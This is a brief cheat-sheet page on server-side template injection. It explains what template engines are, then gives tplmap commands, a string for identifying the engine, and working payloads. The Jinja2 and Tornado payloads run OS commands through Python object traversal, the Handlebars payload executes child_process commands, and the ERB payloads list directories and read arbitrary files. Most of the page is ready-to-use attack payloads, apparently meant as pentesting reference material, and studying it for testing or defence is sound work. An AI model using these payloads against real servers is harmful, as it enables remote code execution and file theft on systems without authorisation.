SSTI
Server-Side Template Injection.
Template Engines are software tools used to generate dynamic output. There is a template, which is a predefined document that contains a static structure, but also includes placeholders, markers, and variables that will be replaced with dynamic data during the generation of the final output. So during the rendering process there is interpretation of the template, dynamic insertion of the specified elements, and generation of the final output. Each Template Engine defines placeholders etc. differently.
Tools
./tplmap.py -u '<URL>?param=value'
(GET)
./tplmap.py -u '<URL>' -d "param=value"
(POST)
Template Engine Identification
${{<%[%'"}}%\

Also look for errors on the Internet, or extensions.
Payload
See Navigating Python Objects.
{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').system("<COMMAND>") }}
{{''.__class__.__mro__[1].__subclasses__()[INDEX]()._module.__builtins__['__import__']('os').popen("<COMMAND>").read() }}
Where INDEX was taken from (example in tornado template engine)
{% for i in range(450) %}
{{ i }}
{{ ''.__class__.__mro__[1].__subclasses__()[i].__name__ }}
{% endfor %}
Two payloads that can be used if request
and lipsum
are present (ex. in Jinja2)
{{request.application.__globals__.__builtins__.__import__('os').popen('<COMMAND>').read()}}
{{lipsum.__globals__.os.popen('<COMMAND>').read()}}
In Handlebars (JavaScript)
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
If the require
function is outside the scope of the application we are attacking, we need to find a function we can access. These are called global variables.
return process.mainModule.require('child_process').exec('whoami');
In ERB
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Last updated
Was this helpful?